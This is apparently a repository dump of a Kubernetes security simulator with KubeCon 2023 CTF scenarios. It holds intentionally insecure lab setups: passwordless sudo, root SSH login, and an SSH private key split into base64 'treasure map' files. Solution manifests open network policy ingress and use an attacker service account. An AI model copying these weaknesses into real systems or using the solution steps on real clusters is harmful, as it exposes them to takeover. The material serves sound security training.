COPY *.go ./ 13 | 14 | COPY . . 15 | RUN go build -o secret-store -ldflags='-w -s' . 16 | 17 | ## 18 | ## Deploy 19 | ## 20 | FROM gcr.io/distroless/base-debian10 21 | 22 | WORKDIR /app 23 | 24 | COPY --from=build /secret-store/secret-store . 25 | COPY --from=build /secret-store/.env . 26 | 27 | EXPOSE 5050 28 | 29 | CMD ["./secret-store"] -------------------------------------------------------------------------------- /scenarios/identity-theft/secret-store/config/oidcsetup.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "context" 5 | "log" 6 | "os" 7 | 8 | "github.com/coreos/go-oidc/v3/oidc" 9 | "github.com/joho/godotenv" 10 | ) 11 | 12 | // Authenticator is used to authenticate our users. 13 | type Authenticator struct { 14 | *oidc.Provider 15 | *oidc.IDTokenVerifier 16 | } 17 | 18 | // New instantiates the *Authenticator. 19 | func ConnectOIDC() (*Authenticator, error) { 20 | 21 | err := godotenv.Load() 22 | if err != nil { 23 | log.Fatal("Error loading .env file") 24 | } 25 | 26 | provider, err := oidc.NewProvider( 27 | context.Background(), 28 | os.Getenv("AUTH0_DOMAIN"), 29 | ) 30 | if err != nil { 31 | return nil, err 32 | } 33 | 34 | verifier := provider.Verifier(&oidc.Config{ClientID: os.Getenv("AUTH0_CLIENT_ID")}) 35 | 36 | return &Authenticator{ 37 | Provider: provider, 38 | IDTokenVerifier: verifier, 39 | }, nil 40 | } 41 | -------------------------------------------------------------------------------- /scenarios/identity-theft/secret-store/controllers/default.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/gin-gonic/gin" 7 | ) 8 | 9 | func Default(c *gin.Context) { 10 | c.Redirect(http.StatusMovedPermanently, "/swagger/index.html") 11 | } 12 | -------------------------------------------------------------------------------- /scenarios/identity-theft/secret-store/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "simulation-scripts/scenario/identity-theft/_app/secret-store/config" 6 | "simulation-scripts/scenario/identity-theft/_app/secret-store/controllers" 7 | 8 | "github.com/gin-gonic/gin" 9 | ) 10 | 11 | func main() { 12 | 13 | router := gin.Default() 14 | 15 | // run database 16 | config.ConnectDB() 17 | 18 | // run OIDC 19 | auth, err := config.ConnectOIDC() 20 | if err != nil { 21 | log.Fatalf("Failed to connect the provider: %v", err) 22 | } 23 | 24 | controllers.UserRoutes(auth, router) 25 | 26 | router.Run(":5050") 27 | } 28 | -------------------------------------------------------------------------------- /scenarios/identity-theft/tasks.yaml: -------------------------------------------------------------------------------- 1 | category: KubeCon + CloudNativeCon North America 2023 CTF 2 | difficulty: Complex 3 | kind: cp.simulator/scenario:1.0.0 4 | objective: Learn about realistic adversary behaviour and OIDC token abuse 5 | tasks: 6 | "1": 7 | hints: 8 | sortOrder: 1 9 | startingPoint: 10 | mode: pod 11 | podName: public-terminal 12 | podNamespace: public 13 | summary: Exploit a public facing application, obtain a foothold on the cluster and access a secret store 14 | name: identity-theft 15 | -------------------------------------------------------------------------------- /scenarios/identity-theft/yamlidator/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | flask_restful 3 | pyyaml 4 | cerberus -------------------------------------------------------------------------------- /scenarios/seven-seas/README.md: -------------------------------------------------------------------------------- 1 | # Seven Seas - Easy Scenario 2 | 3 | Covers container and kubernetes fundamentals 4 | 5 | 1. secrets 6 | 2. execing into pods 7 | 3. side-car containers 8 | 4. attached storage 9 | 5. exposed services 10 | 6. netpol 11 | 7. configmaps 12 | 8. pod logs 13 | 9. pss (restricted) 14 | 10. privileged container breakout 15 | 16 | The aim is get the remaining pieces of a map (ssh key) to allow you access to the final pod. 17 | 18 | ## Map 19 | 20 | A map is included for participants to view route and namespaces 21 | 22 | ![Seven Seas Map](./_app/path-of-the-pirate/static/img/path-of-the-pirate.png) -------------------------------------------------------------------------------- /scenarios/seven-seas/_solution/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM controlplaneoffsec/kubectl 4 | 5 | WORKDIR / 6 | RUN apt update && apt install -y curl jq sudo vim openssh-client 7 | RUN useradd -ms /bin/bash swashbyter 8 | RUN sed -i '/# User alias specification/a swashbyter ALL=(ALL) NOPASSWD:ALL' /etc/sudoers 9 | USER swashbyter -------------------------------------------------------------------------------- /scenarios/seven-seas/_solution/netpol-patch.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: networking.k8s.io/v1 2 | kind: NetworkPolicy 3 | metadata: 4 | name: blockade 5 | namespace: indian 6 | spec: 7 | podSelector: 8 | matchLabels: 9 | ship: adventure-galley 10 | ingress: 11 | - { } 12 | -------------------------------------------------------------------------------- /scenarios/seven-seas/_solution/pod.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: mine 5 | namespace: south-atlantic 6 | labels: 7 | name: mine 8 | spec: 9 | serviceAccountName: invader 10 | containers: 11 | - name: mine 12 | image: bitnami/kubectl:latest 13 | resources: 14 | limits: 15 | memory: "128Mi" 16 | cpu: "500m" 17 | ports: 18 | - containerPort: 8080 19 | command: 20 | - sleep 21 | - infinity 22 | -------------------------------------------------------------------------------- /scenarios/seven-seas/_solution/royal-fortune.pub: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw2jA/yOUV4H5ADct/mcMOTMDzT32g47bx7uUZ5OyTrWYONCSsexCDGTFvRCkFQyh7GK9ykpeTCb6dIvFuNSfkhbxMViH/KDKRbxRsyqe4sxD5xG/ZbR3HPy7ZiMufbKoPLyUexyvlBShQtI4RVO2nUEsMEiD7EjdOvJx6G5X1BqTdaSYSfVZdBx1gqEwoO052jVdVY02rte6awMBq+mBPbKSr6GnwQ0hTOOAh9Jrt8SELd3aQUHtYsxM+YDVFw7T8PdJ1RnCRn/WqXGftzQvp2hb/tERunfUko7MfK6sOuz+YWmLhDKFix8hpa2fVwqpJbky6aJYmLhtPJFgw3fhkkD8f0A03QEUZTVwiygdXReOyO5F//tYadyRVxgCrcujQH8VlNAVmfk0w3Or1B7PuiBOvZwqNJblfJU+W+CCwP22vF8CH36bgLCqMDVy2xMBOaIAWpbarkwkee6ayQd8BLWgX0RrB0DXoE8NDBK1+SN1r+QHesCELl75tAioWu8CLFT6OHCx1BT8tX6JnpdFuufRP+bR7hL4U6TOXxM0V33Wf4wANbC8qw2DMypV8vT9JYOKyKzhKHnhl1qm1RLrSeQwiBfew/rlQVcQMiNQn3dxC98tjRbh54ethpzZJniPwp5IfzB+VNSjLzw5wWXt/ck/egnUxVUVWsfwvqI1Itw== root@royal-fortune -------------------------------------------------------------------------------- /scenarios/seven-seas/adventure-galley/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | ## 4 | ## Build 5 | ## 6 | FROM golang:1.20-bullseye AS build 7 | 8 | WORKDIR /adventure-galley 9 | 10 | COPY /static /var/www/static 11 | 12 | # Go Webapp 13 | COPY go.mod ./ 14 | COPY *.go ./ 15 | 16 | RUN go build -o /var/www/target -ldflags='-w -s' ./main.go 17 | 18 | ## 19 | ## Deploy 20 | ## 21 | FROM gcr.io/distroless/base-debian10 22 | 23 | WORKDIR / 24 | 25 | COPY --from=build --chown=nonroot:nonroot /var/www /var/www 26 | 27 | USER nonroot:nonroot 28 | 29 | EXPOSE 8080 30 | 31 | CMD ["/var/www/target"] 32 | -------------------------------------------------------------------------------- /scenarios/seven-seas/adventure-galley/go.mod: -------------------------------------------------------------------------------- 1 | module main 2 | 3 | go 1.20 4 | -------------------------------------------------------------------------------- /scenarios/seven-seas/adventure-galley/static/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

Adventure Galley

5 | 6 | 7 | 8 |

You see a weakness in the Adventure Galley. Perform an Action with an Object to reduce the pirate ship to Logs.

9 |
10 |
11 |
12 |
13 | 14 | 15 |
16 | 17 | 18 | -------------------------------------------------------------------------------- /scenarios/seven-seas/blockade-ship/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | WORKDIR / 4 | RUN mkdir -p /contraband/ 5 | COPY treasure-map-3 /contraband/treasure-map-3 -------------------------------------------------------------------------------- /scenarios/seven-seas/blockade-ship/treasure-map-3: -------------------------------------------------------------------------------- 1 | cW51TE1RK2NSdjJXMGR4ejh1MllqTG4yeXFEeThsSHNjcjVRVW9VTFNPRVZUdHAxQkxEQklnK3hJ 2 | M1RyeWNlaHVWOVFhawozV2ttRW4xV1hRY2RZS2hNS0R0T2RvMVhWV05OcTdYdW1zREFhdnBnVDJ5 3 | a3EraHA4RU5JVXpqZ0lmU2E3ZkVoQzNkMmtGCkI3V0xNVFBtQTFSY08wL0QzU2RVWndrWi8xcWx4 4 | bjdjMEw2ZG9XLzdSRWJwMzFKS096SHl1ckRycy9tRnBpNFF5aFlzZkkKYVd0bjFjS3FTVzVNdW1p 5 | V0ppNGJUeVJZTU4zNFpKQS9IOUFOTjBCRkdVMWNJc29IVjBYanNqdVJmLzdXR25ja1ZjWUFxMwpM 6 | bzBCL0ZaVFFGWm41Tk1OenE5UWV6N29nVHIyY0tqU1c1WHlWUGx2Z2dzRDl0cnhmQWg5K200Q3dx 7 | akExY3RzVEFUbWlBCkZxVzJxNU1KSG51bXNrSGZBUzFvRjlFYXdkQTE2QlBEUXdTdGZramRhL2tC 8 | M3JBaEM1ZStiUUlxRnJ2QWl4VStqaHdzZFEKVS9MVitpWjZYUmJybjBUL20wZTRTK0ZPa3psOFRO 9 | RmQ5MW4rTUFEV3d2S3NOZ3pNcVZmTDAvU1dEaXNpczRTaDU0WmRhcA== -------------------------------------------------------------------------------- /scenarios/seven-seas/fancy/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM controlplaneoffsec/kubectl 4 | 5 | WORKDIR / 6 | RUN apt update && apt install -y curl jq sudo vim 7 | RUN useradd -ms /bin/bash swashbyter 8 | RUN sed -i '/# User alias specification/a swashbyter ALL=(ALL) NOPASSWD:ALL' /etc/sudoers 9 | USER swashbyter 10 | 11 | COPY --chown=swashbyter:swashbyter diary.md /home/swashbyter/diary.md 12 | COPY --chown=swashbyter:swashbyter treasure-map-1 /home/swashbyter/treasure-map-1 13 | COPY --chown=swashbyter:swashbyter treasure-map-7 /home/swashbyter/treasure-map-7 -------------------------------------------------------------------------------- /scenarios/seven-seas/fancy/diary.md: -------------------------------------------------------------------------------- 1 | 6th November 2023 2 | 3 | I've managed to find the first and last piece of the map and I need 4 | to find the remaining pieces. According to the patrons at my local 5 | watering hole, Hashjack once had the map but broke it up across the 6 | Seven Seas. The map piece I've found is base64 encoded so it looks 7 | like I'll need to decode each piece and put them together to gain 8 | access to the Royal Fortune. 9 | 10 | Swashbyter 11 | 12 | --------------------------------------------------------------------- 13 | 14 | 7th November 2023 15 | 16 | By chance I've come across the "Path of the Pirate" that shows the 17 | trail that Hashjack original took to find the Royal Fortune. It can 18 | be seen by plotting the course: 19 | 20 | `ssh -F cp_simulator_config -L 8080:localhost:8080 -N bastion` 21 | 22 | Swashbyter 23 | 24 | --------------------------------------------------------------------- -------------------------------------------------------------------------------- /scenarios/seven-seas/fancy/treasure-map-1: -------------------------------------------------------------------------------- 1 | LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB 2 | QUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUNGd0FBQUFkemMyZ3RjbgpOaEFBQUFB 3 | d0VBQVFBQUFnRUFzTm93UDhqbEZlQitRQTNMZjVuRERrekE4MDk5b09PMjhlN2xHZVRzazYxbURq 4 | UWtySHNRCmd4a3hiMFFwQlVNb2V4aXZjcEtYa3dtK25TTHhialVuNUlXOFRGWWgveWd5a1c4VWJN 5 | cW51TE1RK2NSdjJXMGR4ejh1MlkKakxuMnlxRHk4bEhzY3I1UVVvVUxTT0VWVHRwMUJMREJJZyt4 6 | STNUcnljZWh1VjlRYWszV2ttRW4xV1hRY2RZS2hNS0R0TwpkbzFYVldOTnE3WHVtc0RBYXZwZ1Qy 7 | eWtxK2hwOEVOSVV6amdJZlNhN2ZFaEMzZDJrRkI3V0xNVFBtQTFSY08wL0QzU2RVClp3a1ovMXFs 8 | eG43YzBMNmRvVy83UkVicDMxSktPekh5dXJEcnMvbUZwaTRReWhZc2ZJYVd0bjFjS3FTVzVNdW1p 9 | V0ppNGI= -------------------------------------------------------------------------------- /scenarios/seven-seas/fancy/treasure-map-7: -------------------------------------------------------------------------------- 1 | MzNqUWhZQ2ZRYzdLUzVBQUFCQVFERDlqNzIybkorcTcwOUtYSlpZa0N3bHBWa3RtS25SUTAyeDgy 2 | ZTcxOE1PZTBxV0lJUwp3L0IwN3V3QXI2MEtZQVhSQ0VqVDY4aC9lTWtSQzIvdDBzWmplL1hDQ2tz 3 | SE5JdVRqUUNDNFlidVNmR0JjYkx5OEpNMzFQClkxdVM3VlVjc3g1OGNCMG1obXdKUmxLby9PQW9m 4 | c1BPd1VuRy9qZjJOWkVJcGtTQ2FJMnB0bzBNZUxoaHdhOVN1WXp5cEIKOTNSSFZtTnZVcXRZTDBu 5 | bWh2THJwZ2JBUGFwRmR6QmdUQ255WDFIY0tVY2RGSjRlbWlQbnhjN0R6TWlEU1pUZXJSQVJtcgo4 6 | Q2hmNW5reHFXK2YvL0pXWmgrbXVVSCthK0pyUjBrRnVqdTE1dnpkcmpNdjJ4NlQ2OTdUY3JBQXQy 7 | WGxiMGZ6M2d0VlkwCjZ1RllKdTFEMjREdkFBQUFFWGRoYTJWM1lYSmtRR053TFhkM0xUSXlBUT09 8 | Ci0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQ== -------------------------------------------------------------------------------- /scenarios/seven-seas/path-of-the-pirate/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | ## 4 | ## Build 5 | ## 6 | FROM golang:1.20-bullseye AS build 7 | 8 | WORKDIR /path 9 | 10 | COPY /static /var/www/static 11 | 12 | # Go Webapp 13 | COPY go.mod ./ 14 | COPY *.go ./ 15 | 16 | RUN go build -o /var/www/path -ldflags='-w -s' ./main.go 17 | 18 | ## 19 | ## Deploy 20 | ## 21 | FROM gcr.io/distroless/base-debian10 22 | 23 | WORKDIR / 24 | 25 | COPY --from=build /var/www /var/www 26 | 27 | EXPOSE 8080 28 | 29 | CMD ["/var/www/path"] 30 | -------------------------------------------------------------------------------- /scenarios/seven-seas/path-of-the-pirate/go.mod: -------------------------------------------------------------------------------- 1 | module main 2 | 3 | go 1.20 4 | -------------------------------------------------------------------------------- /scenarios/seven-seas/path-of-the-pirate/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "net/http" 6 | "time" 7 | ) 8 | 9 | func main() { 10 | 11 | pub := http.NewServeMux() 12 | pub.Handle("/", http.FileServer(http.Dir("/var/www/static/"))) 13 | 14 | pubsrv := &http.Server{ 15 | Addr: ":8080", 16 | Handler: pub, 17 | IdleTimeout: time.Minute, 18 | ReadTimeout: 10 * time.Second, 19 | WriteTimeout: 30 * time.Second, 20 | } 21 | 22 | log.Printf("starting server on %s", pubsrv.Addr) 23 | 24 | err := pubsrv.ListenAndServe() 25 | log.Fatal(err) 26 | } 27 | -------------------------------------------------------------------------------- /scenarios/seven-seas/path-of-the-pirate/static/img/path-of-the-pirate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/seven-seas/path-of-the-pirate/static/img/path-of-the-pirate.png -------------------------------------------------------------------------------- /scenarios/seven-seas/path-of-the-pirate/static/index.html: -------------------------------------------------------------------------------- 1 | Path of the Pirate 2 | -------------------------------------------------------------------------------- /scenarios/seven-seas/royal-fortune/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | RUN apt update && apt install -y openssh-server 4 | 5 | COPY authorized_keys /root/.ssh/authorized_keys 6 | 7 | # System Config 8 | RUN chmod -x /etc/update-motd.d/* 9 | COPY banner /etc/legal 10 | COPY 01-royal-fortune /etc/motd 11 | RUN chmod +x /etc/motd 12 | 13 | RUN sed -i '/#Port 22/c\Port 2222' /etc/ssh/sshd_config 14 | RUN sed -i '/#PermitRootLogin prohibit-password/c\PermitRootLogin prohibit-password' /etc/ssh/sshd_config 15 | RUN sed -i '/#AuthorizedKeysFile .ssh\/authorized_keys .ssh\/authorized_keys2/c\AuthorizedKeysFile .ssh\/authorized_keys' /etc/ssh/sshd_config 16 | 17 | RUN service ssh start 18 | 19 | EXPOSE 2222 20 | 21 | CMD ["/usr/sbin/sshd","-D"] -------------------------------------------------------------------------------- /scenarios/seven-seas/royal-fortune/authorized_keys: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw2jA/yOUV4H5ADct/mcMOTMDzT32g47bx7uUZ5OyTrWYONCSsexCDGTFvRCkFQyh7GK9ykpeTCb6dIvFuNSfkhbxMViH/KDKRbxRsyqe4sxD5xG/ZbR3HPy7ZiMufbKoPLyUexyvlBShQtI4RVO2nUEsMEiD7EjdOvJx6G5X1BqTdaSYSfVZdBx1gqEwoO052jVdVY02rte6awMBq+mBPbKSr6GnwQ0hTOOAh9Jrt8SELd3aQUHtYsxM+YDVFw7T8PdJ1RnCRn/WqXGftzQvp2hb/tERunfUko7MfK6sOuz+YWmLhDKFix8hpa2fVwqpJbky6aJYmLhtPJFgw3fhkkD8f0A03QEUZTVwiygdXReOyO5F//tYadyRVxgCrcujQH8VlNAVmfk0w3Or1B7PuiBOvZwqNJblfJU+W+CCwP22vF8CH36bgLCqMDVy2xMBOaIAWpbarkwkee6ayQd8BLWgX0RrB0DXoE8NDBK1+SN1r+QHesCELl75tAioWu8CLFT6OHCx1BT8tX6JnpdFuufRP+bR7hL4U6TOXxM0V33Wf4wANbC8qw2DMypV8vT9JYOKyKzhKHnhl1qm1RLrSeQwiBfew/rlQVcQMiNQn3dxC98tjRbh54ethpzZJniPwp5IfzB+VNSjLzw5wWXt/ck/egnUxVUVWsfwvqI1Itw== root@royal-fortune -------------------------------------------------------------------------------- /scenarios/seven-seas/royal-fortune/banner: -------------------------------------------------------------------------------- 1 | 2 | | ___ \ _ \ \ / / _ \ | | | ___| _ | ___ \_ _| | | | \ | || ___| 3 | | |_/ / | | |\ V / /_\ \| | | |_ | | | | |_/ / | | | | | | \| || |__ 4 | | /| | | | \ /| _ || | | _| | | | | / | | | | | | . ` || __| 5 | | |\ \\ \_/ / | || | | || |____ | | \ \_/ / |\ \ | | | |_| | |\ || |___ 6 | \_| \_|\___/ \_/\_| |_/\_____/ \_| \___/\_| \_| \_/ \___/\_| \_/\____/ -------------------------------------------------------------------------------- /scenarios/seven-seas/tasks.yaml: -------------------------------------------------------------------------------- 1 | category: KubeCon + CloudNativeCon North America 2023 CTF 2 | difficulty: Easy 3 | kind: cp.simulator/scenario:1.0.0 4 | objective: Learn about Kubernetes Fundamentals, Container Enumeration and Exploitation 5 | tasks: 6 | "1": 7 | hints: 8 | sortOrder: 1 9 | startingPoint: 10 | mode: pod 11 | podName: fancy 12 | podNamespace: arctic 13 | summary: Sail the Seven Seas, find all the missing map pieces and plunder the Royal Fortune 14 | name: seven-seas 15 | -------------------------------------------------------------------------------- /scenarios/seven-seas/whydah-galley/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM controlplaneoffsec/kubectl 4 | 5 | WORKDIR / 6 | RUN apt update && apt install -y curl jq -------------------------------------------------------------------------------- /terraform/modules/ansible-config/ansible-config.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | ansible_config = templatefile("${path.module}/templates/ansible.cfg", { 3 | roles_path = var.ansible_roles_path 4 | ssh_config_filename = var.ssh_config_filename 5 | }) 6 | } 7 | 8 | resource "local_file" "ansible_cfg" { 9 | content = local.ansible_config 10 | filename = format("%s/%s", var.ansible_config_dir, var.ansible_config_filename) 11 | } 12 | -------------------------------------------------------------------------------- /terraform/modules/ansible-config/ansible-inventory.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | ansible_inventory = templatefile("${path.module}/templates/inventory.yaml.tpl", { 3 | hosts_by_group = var.hosts_by_group 4 | }) 5 | } 6 | 7 | resource "local_file" "ansible_inventory" { 8 | content = local.ansible_inventory 9 | filename = format("%s/%s", var.ansible_config_dir, var.ansible_inventory_filename) 10 | } 11 | -------------------------------------------------------------------------------- /terraform/modules/ansible-config/templates/ansible.cfg: -------------------------------------------------------------------------------- 1 | [defaults] 2 | inventory=inventory.yaml 3 | roles_path=${roles_path} 4 | 5 | [ssh_connection] 6 | ssh_extra_args=-F ${ssh_config_filename} 7 | -------------------------------------------------------------------------------- /terraform/modules/ansible-config/templates/inventory.yaml.tpl: -------------------------------------------------------------------------------- 1 | --- 2 | all: 3 | children: 4 | ungrouped: 5 | %{ for group in keys(hosts_by_group) ~} 6 | ${group}s: 7 | %{ endfor ~} 8 | ungrouped: 9 | hosts: 10 | bastion: 11 | %{ for group in keys(hosts_by_group) ~} 12 | ${group}s: 13 | hosts: 14 | %{ for host in hosts_by_group[group] ~} 15 | ${host}: 16 | %{ endfor ~} 17 | %{ endfor ~} 18 | -------------------------------------------------------------------------------- /terraform/modules/ansible-config/variables.tf: -------------------------------------------------------------------------------- 1 | variable "ansible_config_dir" { 2 | description = "The directory to create the ansible config file." 3 | } 4 | 5 | variable "ansible_config_filename" { 6 | description = "The name of the ansible config file." 7 | default = "ansible.cfg" 8 | } 9 | 10 | variable "ansible_roles_path" { 11 | description = "The ansible roles path." 12 | } 13 | 14 | variable "ssh_config_filename" { 15 | description = "The relative path to the ssh config file to use." 16 | } 17 | 18 | variable "ansible_inventory_filename" { 19 | description = "The name of the ansible inventory file." 20 | default = "inventory.yaml" 21 | } 22 | 23 | variable "hosts_by_group" { 24 | description = "Map of group to hostnames." 25 | type = map(list(string)) 26 | } 27 | -------------------------------------------------------------------------------- /terraform/modules/cluster/cloud-config.tf: -------------------------------------------------------------------------------- 1 | data "template_file" "cloud_config" { 2 | template = file("${path.module}/templates/cloud-config.yaml") 3 | vars = { 4 | player_public_key = tls_private_key.player.public_key_openssh 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /terraform/modules/cluster/key-pairs.tf: -------------------------------------------------------------------------------- 1 | resource "aws_key_pair" "admin" { 2 | key_name = local.admin_key_name 3 | public_key = tls_private_key.admin.public_key_openssh 4 | 5 | tags = merge( 6 | var.tags, 7 | { 8 | "Name" = format("%s Simulator Admin", var.name) 9 | } 10 | ) 11 | } 12 | 13 | resource "tls_private_key" "admin" { 14 | algorithm = "RSA" 15 | rsa_bits = 4096 16 | } 17 | 18 | resource "aws_key_pair" "player" { 19 | key_name = local.player_key_name 20 | public_key = tls_private_key.player.public_key_openssh 21 | 22 | tags = merge( 23 | var.tags, 24 | { 25 | "Name" = format("%s Simulator User", var.name) 26 | } 27 | ) 28 | } 29 | 30 | resource "tls_private_key" "player" { 31 | algorithm = "RSA" 32 | rsa_bits = 4096 33 | } -------------------------------------------------------------------------------- /terraform/modules/cluster/locals.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | bastion_sg_name = format("%s-bastion", var.name) 3 | instances_sg_name = format("%s-instances", var.name) 4 | admin_key_name = format("%s-admin-key", var.name) 5 | player_key_name = format("%s-player-key", var.name) 6 | 7 | instances = merge([for i in module.instances : i.instances]...) 8 | 9 | hosts_by_group = merge([ 10 | for i, g in var.instance_groups : 11 | { format("%s", lower(var.instance_groups[i].name)) = keys(module.instances[i].instances) } 12 | ]...) 13 | } 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /terraform/modules/cluster/modules/instance-group/outputs.tf: -------------------------------------------------------------------------------- 1 | output "instances" { 2 | value = zipmap(aws_instance.instance.*.tags.ID, aws_instance.instance.*.private_ip) 3 | } 4 | 5 | -------------------------------------------------------------------------------- /terraform/modules/cluster/modules/instance-group/terraform.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_version = ">= 1.5" 3 | 4 | required_providers { 5 | aws = { 6 | version = "~> 5.20" 7 | } 8 | tls = { 9 | version = "~> 4.0" 10 | } 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /terraform/modules/cluster/outputs.tf: -------------------------------------------------------------------------------- 1 | output "player_private_key" { 2 | value = base64encode(tls_private_key.player.private_key_pem) 3 | } 4 | 5 | output "admin_private_key" { 6 | value = base64encode(tls_private_key.admin.private_key_pem) 7 | } 8 | 9 | output "bastion_ip" { 10 | value = aws_instance.bastion.public_ip 11 | } 12 | 13 | output "instances" { 14 | value = local.instances 15 | } 16 | 17 | output "hosts_by_group" { 18 | value = local.hosts_by_group 19 | } 20 | -------------------------------------------------------------------------------- /terraform/modules/cluster/templates/cloud-config.yaml: -------------------------------------------------------------------------------- 1 | #cloud-config 2 | cloud_final_modules: 3 | - [ users-groups,always ] 4 | users: 5 | - name: default 6 | - name: player 7 | shell: /bin/bash 8 | ssh_authorized_keys: 9 | - command="/simulator/scripts/starting_point" ${player_public_key} 10 | package_update: true 11 | package_upgrade: true 12 | -------------------------------------------------------------------------------- /terraform/modules/cluster/terraform.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_version = ">= 1.5" 3 | 4 | required_providers { 5 | aws = { 6 | version = "~> 5.20" 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /terraform/modules/network/locals.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | public_subnet_cidr = cidrsubnet(var.vpc_cidr, 1, 0) 3 | private_subnet_cidr = cidrsubnet(var.vpc_cidr, 1, 1) 4 | } -------------------------------------------------------------------------------- /terraform/modules/network/outputs.tf: -------------------------------------------------------------------------------- 1 | output "network_id" { 2 | value = aws_vpc.network.id 3 | } 4 | 5 | output "network_cidr" { 6 | value = aws_vpc.network.cidr_block 7 | } 8 | 9 | output "public_subnet_id" { 10 | value = aws_subnet.public.id 11 | } 12 | 13 | output "private_subnet_id" { 14 | value = aws_subnet.private.id 15 | } 16 | -------------------------------------------------------------------------------- /terraform/modules/network/private.tf: -------------------------------------------------------------------------------- 1 | resource "aws_subnet" "private" { 2 | vpc_id = aws_vpc.network.id 3 | cidr_block = local.private_subnet_cidr 4 | availability_zone = var.availability_zone 5 | 6 | tags = merge( 7 | var.tags, 8 | { 9 | "Name" = format("%s Private", title(var.name)) 10 | } 11 | ) 12 | } 13 | 14 | resource "aws_route_table" "private" { 15 | vpc_id = aws_vpc.network.id 16 | 17 | route { 18 | cidr_block = "0.0.0.0/0" 19 | nat_gateway_id = aws_nat_gateway.network.id 20 | } 21 | 22 | tags = merge( 23 | var.tags, 24 | { 25 | "Name" = format("%s Private", title(var.name)) 26 | } 27 | ) 28 | } 29 | 30 | resource "aws_route_table_association" "private" { 31 | route_table_id = aws_route_table.private.id 32 | subnet_id = aws_subnet.private.id 33 | } 34 | -------------------------------------------------------------------------------- /terraform/modules/network/public.tf: -------------------------------------------------------------------------------- 1 | resource "aws_subnet" "public" { 2 | vpc_id = aws_vpc.network.id 3 | cidr_block = local.public_subnet_cidr 4 | availability_zone = var.availability_zone 5 | 6 | tags = merge( 7 | var.tags, 8 | { 9 | "Name" = format("%s Public", title(var.name)) 10 | } 11 | ) 12 | } 13 | 14 | resource "aws_route_table" "public" { 15 | vpc_id = aws_vpc.network.id 16 | 17 | route { 18 | cidr_block = "0.0.0.0/0" 19 | gateway_id = aws_internet_gateway.network.id 20 | } 21 | 22 | tags = merge( 23 | var.tags, 24 | { 25 | "Name" = format("%s Public", title(var.name)) 26 | } 27 | ) 28 | } 29 | 30 | resource "aws_route_table_association" "public" { 31 | route_table_id = aws_route_table.public.id 32 | subnet_id = aws_subnet.public.id 33 | } 34 | -------------------------------------------------------------------------------- /terraform/modules/network/terraform.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_version = ">= 1.5" 3 | 4 | required_providers { 5 | aws = { 6 | version = "~> 5.20" 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /terraform/modules/network/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | description = "" 3 | } 4 | 5 | variable "vpc_cidr" { 6 | description = "The ipv4 cidr block for the vpc." 7 | default = "10.0.0.0/16" 8 | } 9 | 10 | variable "availability_zone" { 11 | description = "" 12 | } 13 | 14 | variable "tags" { 15 | description = "" 16 | type = map(string) 17 | default = {} 18 | } 19 | -------------------------------------------------------------------------------- /terraform/modules/ssh-config/ssh-config.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | ssh_config = templatefile("${path.module}/templates/ssh_config", { 3 | bastion_ip = var.bastion_ip 4 | instances = var.instances 5 | ssh_user = var.ssh_user 6 | ssh_force_tty = var.ssh_force_tty 7 | ssh_identity_file = var.ssh_identity_file 8 | ssh_known_hosts = var.ssh_known_hosts_file 9 | }) 10 | } 11 | 12 | resource "local_file" "ssh_config" { 13 | content = local.ssh_config 14 | filename = format("%s/%s", var.ssh_config_dir, var.ssh_config_file) 15 | file_permission = "0600" 16 | } 17 | -------------------------------------------------------------------------------- /terraform/modules/ssh-config/templates/ssh_config: -------------------------------------------------------------------------------- 1 | Host bastion ${bastion_ip} 2 | Hostname ${bastion_ip} 3 | User ${ssh_user} 4 | %{if ssh_force_tty ~} 5 | RequestTTY force 6 | %{endif ~} 7 | IdentityFile ${ssh_identity_file} 8 | UserKnownHostsFile ${ssh_known_hosts} 9 | %{ for id in keys(instances) ~} 10 | Host ${id} ${instances[id]} 11 | Hostname ${instances[id]} 12 | User ${ssh_user} 13 | 